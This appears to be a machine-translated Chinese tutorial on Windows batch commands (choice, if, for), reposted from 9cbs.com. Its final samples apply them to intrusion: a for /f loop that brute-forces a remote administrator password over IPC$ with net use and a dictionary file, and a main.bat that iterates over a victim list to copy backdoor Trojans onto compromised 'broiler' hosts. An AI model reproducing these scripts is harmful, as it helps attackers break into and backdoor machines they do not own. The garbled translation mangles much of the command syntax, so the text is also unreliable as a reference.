Batch internal command profile (2) -

zhaozj2021-02-16  89

8.choice command

Choice

Use this command to allow users to enter a character to run different commands. Plus when using

/ C:

parameter,

C:

After writing a prompt, the characters can be entered, there is no space. Its return code is

1234 ......

Such as

: Choice / C: DME DEFRAG, MEM, END

Will display

DEFRAG, MEM, END [D, M, E]? Sample

:

Test.bat

The content is as follows

: @echo off choice / C: DME DEFRAG, MEM, END IF Errorlevel 3 Goto Defrag

(The highest error code) should be judged first)

IF Errorlevel 2 Goto Mem if Errotlevel 1 goto end

: Defrag C: / DOS / Defrag Goto end: Mem Mem Mem Mem Mem Mem Goto End: End Echo Good Bye

After this file runs, the DEFRAG, MEM, END [D, M, E]? The user can select DME, then the IF statement will make a judgment, and D represents the block segment executing the label DEFRAG, and M represents the program that is labeled MEM. Segment, e represents a block that executes the label End, and each block is finally jumped to the END Number with Goto End, and then the program will display good Bye and the file ends.

9.if Command

The if indicates whether it is determined whether or not the specified condition is determined to determine the execution of different commands. There are three formats: 1, if "==" String "The command parameter to be executed is equal to the specified string, the condition is established, run the command, otherwise run the next sentence. (Note is two equal numbers) such as if "% 1" == "a" Format A: if {% 1} == {} goto noparmsif {% 2} == {} goto noparms

2, if the command to be executed, if there is a specified file, the condition is established, run the command, otherwise run the next sentence. If exist config.sys edit config.sys

3. If Errorlevel / if not errorlevel digitally peers to be executed If the return code is equal to the specified number, the condition is established, run the command, otherwise run the next sentence. If the IF ErrorLevel 2 Goto X2 DOS program is running, a number will return to DOS, called error code errorlevel or return code, common return code is 0, 1.

10.FOR command for command is a more complex command, primarily for parameters to perform commands within the specified range. When using the for command in the batch file, specify a variable, please use %% Variable

For {% Variable | %% Variable} in (SET) Do Command [CommandLineOptions]% variable specifies a single letter replaceable parameter. (SET) Specify one or a set of files. You can use wildcards. Command specifies the command to execute each file. Command-parameters specifies parameters or command line switches for a specific command. When using the for command in a batch file, specify the variable, please use %% Variable without using% Variable. The variable name is case sensitive, so% I is different from% i

If the command extension is enabled, the following additional for command format will be supported:

FOR / D% Variable in (SET) Do Command [Command-Parameters]

If the concentration contains a wildcard, specify matching with the directory name without matching the file name. FOR / R [[DRIVE:] PATH]% Variable in (set) Do Command [Command "

Check the directory tree in [Drive:] Path to the root, point to the for statement in each directory. If there is no specified directory after / r, use the current directory. If the set is only one single point (.) Character, the directory tree is enumerated.

FOR / L% Variable in (Start, Step, End) Do Command [Command-Para

This set represents a digital sequence from the beginning to the end in incremental form. Therefore, (1, 1, 5) will produce sequences 1 2 3 4 5, (5, -1, 1) will produce a sequence (5 4 3 2 1).

FOR / F ["Options"]% variable in (file-set) Do Command for / f ["Options"]% variable in ("string") Do Command for / f ["Options"]% Variable in (Command) Do Command

Or, if there is a UseBackQ option:

FOR / F ["Options"]% variable in (file-set) Do Command for / f ["Options"]% variable in ("string") Do Command for / f ["Options"]% Variable in (Command) Do Command

Filenameset is one or more file names. Before proceeding to the next file in the filenameset, each file has been opened, read and processed. Processing includes reading a file, dividing it into a line of rows, and analyzing each line into zero or more symbols. The FOR cycle is then called with the string variable value of the string. With the default, / f is separated from the first blank symbol of each line of each file. Skip blank lines. You can replace the default parsing operation by specifying an optional "Options" parameter. This band-quoted string includes one or more keywords that specify different parses options. These keywords are:

EOL = C - Refers to the end of a row of bet release characters (one) Skip = n - refers to the number of rows ignored at the beginning of the file. Delims = xxx - Indicator jacket set. This default separator set replaces the space and the jumping. Tokens = x, y, m-n - means which symbols per row are passed to each iteration for itself. This will result in a range of additional variable names. Specify the last character as an asterisk in the M symbol string via the NTH symbol, then the additional variable will assign and accept the reserved text of the row in the last symbol. Usebackq - Specify new syntax is already in the case of using: Perform a string of a back quotation as a command and the quotation marks characters are text string commands and allow the use of double quotes to expand the file name in Fi.

Sample1: for / f "eol =; tokens = 2, 3 * delims =,"% i in (myfile.txt) do command

Will analyze each row in MyFile.txt, ignore those rows of the semicolon head, pass the second and third symbols in each row to the For program; with a tealeon and / or space delimited symbol. Note that the statement of this FOR program references% i to acquire the second symbol, reference% J to obtain the third symbol, refer to% K to get all the remaining symbols after the third symbol. For file names with spaces, you need to create files with double quotes. In this way, double quotes are used, you also need to use the UseBackQ option, otherwise the dual quotation marks will be understood to be used as a string to define a certain analysis. % i is specifically description in the For statement,% J and% K are specifically demonstrated by the tokens = option. You can specify up to 26 symbols via tokens =, as long as you do not attempt to illustrate a variable above the letter Z or Z. Keep in mind that for variables are single letters, case sensitive and global; at the same time, there is not more than 52 or more.

You can also use FOR / F analysis logic on adjacent strings; method is to enclose the filenameset between brackets with single quotes. Thus, the character is called a single input line in a file.

Finally, you can use the for / f command to analyze the output of the command. The method is to turn the filenameset between brackets into a hind string. This string will be regarded as a command line, pass to a sub-cmd.exe, and its output will be grasped into memory and is used as a file analysis. Therefore, the following examples:

FOR / F "USEBACKQ DELIMS =="% i in (`set`) do @echo% i

Will enumerate the name of the environment variable in the current environment.

In addition, the replacement of the FOR variable reference has been enhanced. You can now use the following options for symptoms:

~ I - Delete any quotation marks ("), expand% i% ~ FI - expand% i to a fully qualified path name% ~ di - only expand% i to a drive number% ~ Pi - only% i expand Go to a path% ~ Ni - only expand% i to a file name% ~ xi - expand% i to a file extension name% ~ Si - the extension path only contains short name% ~ Ai - expand% i File of file attributes% ~ Ti - expand% i to file Date / time% ~ zi - to expand% i to file size% ~ $ PATH: i - Find the directory column of path environment variables and put% i Expanded the first fully qualified name. If the environment variable is not defined, or if the file is not found, this combination key will expand empty strings.

Multiple results can be combined to get multiple results:

% ~ DPI - expand% i to a drive letter and path% ~ NXI - expand% i to a file name and extension% ~ FSI - only expand% i to a full path name with a short name ~ DP $ PATH: I - Find the directory column in the path environment variable and expand% i to the found first drive letter and path. % ~ ftzai - expand% i to Dir from similar output lines

In the above example,% I and PATH can be replaced with other effective values. % ~ Syntax terminates with an effective FOR variable name. Select the larger write variable name similar to% I is more readily read, and avoid confusion with the combination of regardless of case.

The above is the official help of MS, let's take a few examples to specify the use of the for command in the invasion.

Sample2:

Use the for command to achieve the crack of violent password for a target Win2k host. We use NET USE // IP / IPC $ "Password" / u: "administrator" to attempt to connect with the target host, and write a password when successful. The most important command is a: for / fi% in (Dict.txt) Do Net USE // IP / IPC $ "I%" / u: "administrator" uses I% to represent the password of Admin, in Dict.txt This is connected to the value of the I% with the NET USE command. Then passenger operation results to find command --for / fi %% in (dict.txt) do net use // ip / ipc $ "i %% / u:" administrator "|": command successfully completed " >> D: /ok.txt, so Ko. Sample3:

Have you ever had a lot of broilers waiting for you to go to the back door Trojan? When the number is particularly, it will become very depressed when the number is very happy :). The opening of the article talked to the use of batch files to simplify daily or repetitive tasks. So how do you implement it? Oh, you will understand it.

The main order is only one: (when using the for command in the batch file, specify the variable using %% variable) @for / f "tokens = 1, 2, 3 delims =" %% I in (Victim.txt) do Start Call CultiVate.bat %% I %% J %% KTokens Usage See Sample1 above, here it represents parameter% I% J% K in CultiVate.tXT in order. CultiVate.bat is nothing more than using the NET USE command to establish an IPC $ connection, and Copy Trojan Back Door to Victim and use the return code (if Errorlever =) to filter the host of the back door and echo, or echo to the file. Delims = indicates that the content in Vivtim.txt is separated by a space. I want to see this here, you must also understand what is what this Victim.txt is like. It should be based on the object expressed by %% I %% J %% K, usually IP Password UserName.

--------------- Cut Here The Save As a Batchfile (I Call it main.bat) -------------------- ------- @ Echo off @ IF "% 1" == "" Goto usage @ for / f "tokens = 1, 2, 3 delims =" %% I in (Victim.txt) Do Start Call IPchack .bat %% i %% J %% K @ Goto end: usage @ echo run this bath in dos mode.or Just double-click it.:End-------------- Cut Here The Save as a Batchfile (I Call it main.bat) ---------------------------

转载请注明原文地址:https://www.9cbs.com/read-12535.html

New Post(0)